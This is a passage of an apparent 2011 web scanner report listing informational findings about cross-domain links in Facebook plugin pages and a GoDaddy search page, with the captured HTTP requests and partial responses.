15.50. http://www.facebook.com/connect/connect.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/connect/connect.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/connect/connect.php?id=40433056905&connections=10&stream=1&css=http://www.port25.com/includes/port25.css

The response contains the following links to other domains:

http://external.ak.fbcdn.net/fbml_static_get.php?src=http%3A%2F%2Fwww.port25.com%2Fincludes%2Fport25.css&appid=40433056905&pv=1&sig=6c372a5cd847acf134aa33070254c162&filetype=css&cb=2
http://profile.ak.fbcdn.net/hprofile-ak-ash2/50102_632458375_7336_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/186786_100000432148533_3234718_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/187779_40433056905_1906704_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/211421_1189431982_979987_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/211693_632509738_6138797_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/274570_1604903775_3854528_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/41503_12819353_4545_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/48905_592270954_1117_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/49870_510467534_4504_q.jpg
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/y9/r/IB7NOFmPw2a.gif
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/y9/r/jKEcVPZFk-2.gif
http://static.ak.fbcdn.net/rsrc.php/v1/yC/r/YjSJRXYRwqD.css
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yK/r/jSVhQVZmVYK.css
http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/HqR1Y_NYBkz.css
http://static.ak.fbcdn.net/rsrc.php/v1/yV/r/elwwSDjKYPa.css
http://static.ak.fbcdn.net/rsrc.php/v1/y_/r/t_s9qY1gNKg.css
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js

Request

GET /connect/connect.php?id=40433056905&connections=10&stream=1&css=http://www.port25.com/includes/port25.css HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.port25.com/products/prod_evalthanks.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.51. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/likebox.php?channel=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df33f42299%26origin%3Dhttp%253A%252F%252Fthehackernews.com%252Ff38284c19c%26relation%3Dparent.parent%26transport%3Dpostmessage&colorscheme=light&header=false&height=258&href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FThe-Hacker-News%2F172819872731894&locale=en_US&sdk=joey&show_faces=true&stream=false&width=292

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-ash2/49546_100000147617291_5524_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/195418_100001815300207_7718717_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/203430_100001923114560_5058758_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/211495_100002604038031_6142559_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/261059_100002818221944_1768173176_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/273370_100000172584502_308975658_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275106_1562735743_7219073_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275445_1418224949_131699991_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275660_100001981990343_7522079_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275875_100001999617244_2028111589_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276439_172819872731894_1083760684_q.jpg
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/yC/r/YjSJRXYRwqD.css
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yK/r/jSVhQVZmVYK.css
http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/HqR1Y_NYBkz.css
http://static.ak.fbcdn.net/rsrc.php/v1/yV/r/elwwSDjKYPa.css
http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/Auo4xRDh0AB.js
http://static.ak.fbcdn.net/rsrc.php/v1/y_/r/t_s9qY1gNKg.css
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js
http://static.ak.fbcdn.net/rsrc.php/v1/yz/r/1iO7XjW7Qh8.css

Request

GET /plugins/likebox.php?channel=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df33f42299%26origin%3Dhttp%253A%252F%252Fthehackernews.com%252Ff38284c19c%26relation%3Dparent.parent%26transport%3Dpostmessage&colorscheme=light&header=false&height=258&href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FThe-Hacker-News%2F172819872731894&locale=en_US&sdk=joey&show_faces=true&stream=false&width=292 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.52. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2Fblackbaud&width=250&colorscheme=light&show_faces=true&stream=false&header=false&height=258

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-ash2/276199_100002826953626_7924076_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-ash2/41495_1045423104_6042_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/187014_1559065580_5489996_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/211650_100002508068335_2748329_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/274313_524798532_2104149_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/274942_647326559_982880372_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276282_1261776886_1590269771_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/41391_1161550834_7811_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/41599_24193516583_7785751_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/41765_664156628_47_q.jpg
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/yC/r/YjSJRXYRwqD.css
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yK/r/jSVhQVZmVYK.css
http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/HqR1Y_NYBkz.css
http://static.ak.fbcdn.net/rsrc.php/v1/yV/r/elwwSDjKYPa.css
http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/Auo4xRDh0AB.js
http://static.ak.fbcdn.net/rsrc.php/v1/y_/r/t_s9qY1gNKg.css
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js
http://static.ak.fbcdn.net/rsrc.php/v1/yz/r/1iO7XjW7Qh8.css

Request

GET /plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2Fblackbaud&width=250&colorscheme=light&show_faces=true&stream=false&header=false&height=258 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.blackbaud.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.53. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/likebox.php?channel=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df33f10cb48%26origin%3Dhttp%253A%252F%252Fthehackernews.com%252Ff2c1c37b3%26relation%3Dparent.parent%26transport%3Dpostmessage&colorscheme=light&header=false&height=258&href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FThe-Hacker-News%2F172819872731894&locale=en_US&sdk=joey&show_faces=true&stream=false&width=292

The response contains the following links to other domains:

http://profile.ak.fbcdn.net/hprofile-ak-ash2/261066_100002111591190_1880089109_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-ash2/49546_100000147617291_5524_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/203430_100001923114560_5058758_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/211495_100002604038031_6142559_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/261059_100002818221944_1768173176_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275106_1562735743_7219073_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275185_1068105476_1228374674_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275445_1418224949_131699991_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275660_100001981990343_7522079_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/275875_100001999617244_2028111589_q.jpg
http://profile.ak.fbcdn.net/hprofile-ak-snc4/276439_172819872731894_1083760684_q.jpg
http://profile.ak.fbcdn.net/static-ak/rsrc.php/v1/yo/r/UlIqmHJn-SK.gif
http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/yC/r/YjSJRXYRwqD.css
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yK/r/jSVhQVZmVYK.css
http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/HqR1Y_NYBkz.css
http://static.ak.fbcdn.net/rsrc.php/v1/yV/r/elwwSDjKYPa.css
http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/Auo4xRDh0AB.js
http://static.ak.fbcdn.net/rsrc.php/v1/y_/r/t_s9qY1gNKg.css
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js
http://static.ak.fbcdn.net/rsrc.php/v1/yz/r/1iO7XjW7Qh8.css

Request

GET /plugins/likebox.php?channel=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df33f10cb48%26origin%3Dhttp%253A%252F%252Fthehackernews.com%252Ff2c1c37b3%26relation%3Dparent.parent%26transport%3Dpostmessage&colorscheme=light&header=false&height=258&href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FThe-Hacker-News%2F172819872731894&locale=en_US&sdk=joey&show_faces=true&stream=false&width=292 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.54. http://www.facebook.com/plugins/recommendations.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/recommendations.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.facebook.com/plugins/recommendations.php?header=true&height=450&linktarget=_blank&locale=en_US&sdk=joey&site=http%3A%2F%2Fwww.thehackernews.com%2F&width=290

The response contains the following links to other domains:

http://external.ak.fbcdn.net/safe_image.php?d=AQAxtvEtsYrBh2nD&url=http%3A%2F%2F1.bp.blogspot.com%2F-nH9c1Pt2JkQ%2FTnD1E-A_QRI%2FAAAAAAAAC-I%2FCPkeJCOY7uU%2Fs72-c%2Fmcafee-security-i.jpg
http://external.ak.fbcdn.net/safe_image.php?d=AQC3A3ijBE7LKmm3&url=http%3A%2F%2F2.bp.blogspot.com%2F-sZmy-GYwaaM%2FTnDzZ-3-xVI%2FAAAAAAAAC-E%2FzseWYDx7xsc%2Fs72-c%2F5580OS_Backtrack%2B5%2BWireless%2BPenetration.jpg
http://external.ak.fbcdn.net/safe_image.php?d=AQCi6HHD68DxU8Id&url=http%3A%2F%2F2.bp.blogspot.com%2F-5zIBHbO9nWQ%2FTmzvftai4aI%2FAAAAAAAAC9U%2Fc1PXw6RMUNk%2Fs72-c%2FUntitled.png
http://external.ak.fbcdn.net/safe_image.php?d=AQCx9RsHnqwWR1_n&url=http%3A%2F%2F3.bp.blogspot.com%2F-UPdHdPAe1_0%2FTnFI9TMnUQI%2FAAAAAAAAC-Q%2FOWy7uC2GDhs%2Fs72-c%2F6cce61d0e149ded800658df34cc65859.png
http://external.ak.fbcdn.net/safe_image.php?d=AQDFADh7TqtijkTX&url=http%3A%2F%2F4.bp.blogspot.com%2F-Yoo5MpW62Ak%2FTm-iVxFbFKI%2FAAAAAAAAC90%2FbSp1U0gljjw%2Fs72-c%2F2yy8i1j.jpg
http://external.ak.fbcdn.net/safe_image.php?d=AQDIHPy4e2QqyxZZ&url=http%3A%2F%2F2.bp.blogspot.com%2F-p-Y6wCqU1wI%2FTmuXtEEdRwI%2FAAAAAAAAC88%2FwK27xaKWbr4%2Fs72-c%2F14.jpg
http://external.ak.fbcdn.net/safe_image.php?d=AQDRzOhVB6wAQA7a&url=http%3A%2F%2F3.bp.blogspot.com%2F-2ezBR6Ne9BY%2FTmpeFas1vtI%2FAAAAAAAAC8o%2Fvx187B4FbYE%2Fs72-c%2Ffacebook_hack_0504.jpg
http://external.ak.fbcdn.net/safe_image.php?d=AQDYztJTEHTcyElu&url=http%3A%2F%2F3.bp.blogspot.com%2F_bCYQxIvMQ2U%2FTRqK9wgVGzI%2FAAAAAAAAAdc%2FtD-g16bzFlg%2Fs72-c%2FuHqRnMmR.jpg
http://external.ak.fbcdn.net/safe_image.php?d=AQDuS0scXDsBnLup&url=http%3A%2F%2F3.bp.blogspot.com%2F-itc0CCFi_zQ%2FTmzHiGneLKI%2FAAAAAAAAC9M%2FKKTnFt9O7nY%2Fs72-c%2FLinux-Foundation.jpg
http://thehackernews.com/2011/09/14-years-in-jail-for-mass-credit-card.html
http://thehackernews.com/2011/09/book-backtrack-5-wireless-penetration.html
http://thehackernews.com/2011/09/cyberwar-between-israel-and-turkish.html
http://thehackernews.com/2011/09/fbpwn-cross-platform-facebook-profile.html
http://thehackernews.com/2011/09/linux-foundation-linuxcom-multiple.html
http://thehackernews.com/2011/09/mcafee-deepsafe-anti-rootkit-security.html
http://thehackernews.com/2011/09/opiran-new-press-release-for-23.html
http://thehackernews.com/2011/09/thc-hydra-v70-new-version-released-for.html
http://thehackernews.com/2011/09/truth-alliance-network-and-20-churches.html

Request

GET /plugins/recommendations.php?header=true&height=450&linktarget=_blank&locale=en_US&sdk=joey&site=http%3A%2F%2Fwww.thehackernews.com%2F&width=290 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.64.35.48
X-Cnection: close
Date: Fri, 16 Sep 2011 17:54:49 GMT
Content-Length: 26124

<!DOCTYPE html><html lang="en" id="facebook" class="no_js">
<head><meta charset="utf-8" /><script>CavalryLogger=false;</script><title>1</title><style>body{background:#fff;font-size: 11px;font-family:"
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_53e8f3f00021aacf"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" title="FBPwn : A Cross-Platform Facebook Profile Dumper tool ~ THN : The Hacker News" href="http://thehackernews.com/2011/09/fbpwn-cross-platform-facebook-profile.html" target="_blank"><img class="img" src="http://external.ak.fbcdn.net/safe_image.php?d=AQDRzOhVB6wAQA7a&url=http%3A%2F%2F3.bp.blogspot.com%2F-2ezBR6Ne9BY%2FTmpeFas1vtI%2FAAAAAAAAC8o%2Fvx187B4FbYE%2Fs72-c%2Ffacebook_hack_0504.jpg" alt="" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://thehackernews.com/2011/09/fbpwn-cross-platform-facebook-profile.html" target="_blank">FBPwn : A Cross-Platform Facebook Profile Dumper tool ~ THN : The Hacker News</a>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_21b2a71d37314749"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" title="#Opiran new press release for 23 September by Anonymous Hackers ~ THN : The Hacker News" href="http://thehackernews.com/2011/09/opiran-new-press-release-for-23.html" target="_blank"><img class="img" src="http://external.ak.fbcdn.net/safe_image.php?d=AQDFADh7TqtijkTX&url=http%3A%2F%2F4.bp.blogspot.com%2F-Yoo5MpW62Ak%2FTm-iVxFbFKI%2FAAAAAAAAC90%2FbSp1U0gljjw%2Fs72-c%2F2yy8i1j.jpg" alt="" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://thehackernews.com/2011/09/opiran-new-press-release-for-23.html" target="_blank">#Opiran new press release for 23 September by Anonymous Hackers ~ THN : The Hacker News</a>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_427f595ae769ed67"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" title="Truth Alliance Network and 20 Churches websites hacked by Muslim Liberation Army ~ THN : The Hacker." href="http://thehackernews.com/2011/09/truth-alliance-network-and-20-churches.html" target="_blank"><img class="img" src="http://external.ak.fbcdn.net/safe_image.php?d=AQCi6HHD68DxU8Id&url=http%3A%2F%2F2.bp.blogspot.com%2F-5zIBHbO9nWQ%2FTmzvftai4aI%2FAAAAAAAAC9U%2Fc1PXw6RMUNk%2Fs72-c%2FUntitled.png" alt="" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://thehackernews.com/2011/09/truth-alliance-network-and-20-churches.html" target="_blank">Truth Alliance Network and 20 Churches websites hacked by Muslim Liberation Army ~ THN : The Hacker.</a>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_6e2f733da5ac4fa5"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" title="Linux Foundation & Linux.com multiple server compromised ~ THN : The Hacker News" href="http://thehackernews.com/2011/09/linux-foundation-linuxcom-multiple.html" target="_blank"><img class="img" src="http://external.ak.fbcdn.net/safe_image.php?d=AQDuS0scXDsBnLup&url=http%3A%2F%2F3.bp.blogspot.com%2F-itc0CCFi_zQ%2FTmzHiGneLKI%2FAAAAAAAAC9M%2FKKTnFt9O7nY%2Fs72-c%2FLinux-Foundation.jpg" alt="" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://thehackernews.com/2011/09/linux-foundation-linuxcom-multiple.html" target="_blank">Linux Foundation & Linux.com multiple server compromised ~ THN : The Hacker News</a>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_2844960fd1f07a79"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" title="THC-HYDRA v7.0 new version released for Download ~ THN : The Hacker News" href="http://thehackernews.com/2011/09/thc-hydra-v70-new-version-released-for.html" target="_blank"><img class="img" src="http://external.ak.fbcdn.net/safe_image.php?d=AQCx9RsHnqwWR1_n&url=http%3A%2F%2F3.bp.blogspot.com%2F-UPdHdPAe1_0%2FTnFI9TMnUQI%2FAAAAAAAAC-Q%2FOWy7uC2GDhs%2Fs72-c%2F6cce61d0e149ded800658df34cc65859.png" alt="" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://thehackernews.com/2011/09/thc-hydra-v70-new-version-released-for.html" target="_blank">THC-HYDRA v7.0 new version released for Download ~ THN : The Hacker News</a>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_7b10b8d730fa3bfc"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" title="Cyberwar between Israel and Turkish Hacker ~ THN : The Hacker News" href="http://thehackernews.com/2011/09/cyberwar-between-israel-and-turkish.html" target="_blank"><img class="img" src="http://external.ak.fbcdn.net/safe_image.php?d=AQDYztJTEHTcyElu&url=http%3A%2F%2F3.bp.blogspot.com%2F_bCYQxIvMQ2U%2FTRqK9wgVGzI%2FAAAAAAAAAdc%2FtD-g16bzFlg%2Fs72-c%2FuHqRnMmR.jpg" alt="" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://thehackernews.com/2011/09/cyberwar-between-israel-and-turkish.html" target="_blank">Cyberwar between Israel and Turkish Hacker ~ THN : The Hacker News</a>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_1e6c097ce140ee33"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" title="14 Years in Jail for mass credit card theft ~ THN : The Hacker News" href="http://thehackernews.com/2011/09/14-years-in-jail-for-mass-credit-card.html" target="_blank"><img class="img" src="http://external.ak.fbcdn.net/safe_image.php?d=AQDIHPy4e2QqyxZZ&url=http%3A%2F%2F2.bp.blogspot.com%2F-p-Y6wCqU1wI%2FTmuXtEEdRwI%2FAAAAAAAAC88%2FwK27xaKWbr4%2Fs72-c%2F14.jpg" alt="" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://thehackernews.com/2011/09/14-years-in-jail-for-mass-credit-card.html" target="_blank">14 Years in Jail for mass credit card theft ~ THN : The Hacker News</a>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_584b7de5c19c48fb"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" title="Book : Backtrack 5 Wireless Penetration Testing by Vivek Ramachandran ~ THN : The Hacker News" href="http://thehackernews.com/2011/09/book-backtrack-5-wireless-penetration.html" target="_blank"><img class="img" src="http://external.ak.fbcdn.net/safe_image.php?d=AQC3A3ijBE7LKmm3&url=http%3A%2F%2F2.bp.blogspot.com%2F-sZmy-GYwaaM%2FTnDzZ-3-xVI%2FAAAAAAAAC-E%2FzseWYDx7xsc%2Fs72-c%2F5580OS_Backtrack%2B5%2BWireless%2BPenetration.jpg" alt="" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://thehackernews.com/2011/09/book-backtrack-5-wireless-penetration.html" target="_blank">Book : Backtrack 5 Wireless Penetration Testing by Vivek Ramachandran ~ THN : The Hacker News</a>
...[SNIP]...
<div class="UIImageBlock clearfix pas fbRecommendation RES_69208ebed90ae5b1"><a class="fbImageContainer fbMonitor UIImageBlock_Image UIImageBlock_SMALL_Image" title="McAfee DeepSAFE - Anti-rootkit Security Solution ~ THN : The Hacker News" href="http://thehackernews.com/2011/09/mcafee-deepsafe-anti-rootkit-security.html" target="_blank"><img class="img" src="http://external.ak.fbcdn.net/safe_image.php?d=AQAxtvEtsYrBh2nD&url=http%3A%2F%2F1.bp.blogspot.com%2F-nH9c1Pt2JkQ%2FTnD1E-A_QRI%2FAAAAAAAAC-I%2FCPkeJCOY7uU%2Fs72-c%2Fmcafee-security-i.jpg" alt="" /></a>
...[SNIP]...
<strong><a class="fbMonitor" href="http://thehackernews.com/2011/09/mcafee-deepsafe-anti-rootkit-security.html" target="_blank">McAfee DeepSAFE - Anti-rootkit Security Solution ~ THN : The Hacker News</a>
...[SNIP]...

15.55. http://www.godaddy.com/gdshop/site_search.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/gdshop/site_search.asp

Issue detail

The page was loaded from a URL containing a query string:

http://www.godaddy.com/gdshop/site_search.asp?ci=9104&pageNum=1&searchFor=xss

The response contains the following links to other domains:

http://imagesak.securepaynet.net/AtlantisScripts/jquery/jquery-1.3.1.min.js
http://imagesak.securepaynet.net/aaa/help/1/icn_quickhelp.gif
http://imagesak.securepaynet.net/assets/godaddy.ico
http://imagesak.securepaynet.net/assets/spc_trans.gif
http://imagesak.securepaynet.net/css/20090113_1.css
http://img2.wsimg.com/pc_css/1/gd_20110906_http.min.css
http://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js
http://www.bobparsons.me/index.php?id=-1
http://www.godaddycares.com/
https://email.secureserver.net/
https://login.secureserver.net/index.php
https://login.secureserver.net/index.php?ci=17195&prog_id=GoDaddy&app=wbe

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/html
Expires: Wed, 01 Jan 1997 12:00:00 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: domainYardVal=%2D1; domain=.godaddy.com; path=/
Set-Cookie: serverVersion=A; domain=.godaddy.com; path=/
Set-Cookie: traffic=server=M1PWCORPWEB181&sitename=www%2Egodaddy%2Ecom&cookies=1&clientip=50%2E23%2E123%2E106&status=200+OK&referrer=http%3A%2F%2Fwww%2Egodaddy%2Ecom%2F&isc=&privatelabelid=1&page=%2Fgdshop%2Fsite%5Fsearch%2Easp&referringdomain=&referringpath=2a590ae0%2D0ee8%2D47bd%2D8061%2Daf016da64611&shopper=46215684&querystring=ci%3D9104%26pageNum%3D1%26searchFor%3Dxss; domain=.godaddy.com; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Fri, 16 Sep 2011 18:07:30 GMT
Content-Length: 98586

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html>
<head>
<title>Site Search</title>
<meta http-equiv="Content-Type" con
...[SNIP]...
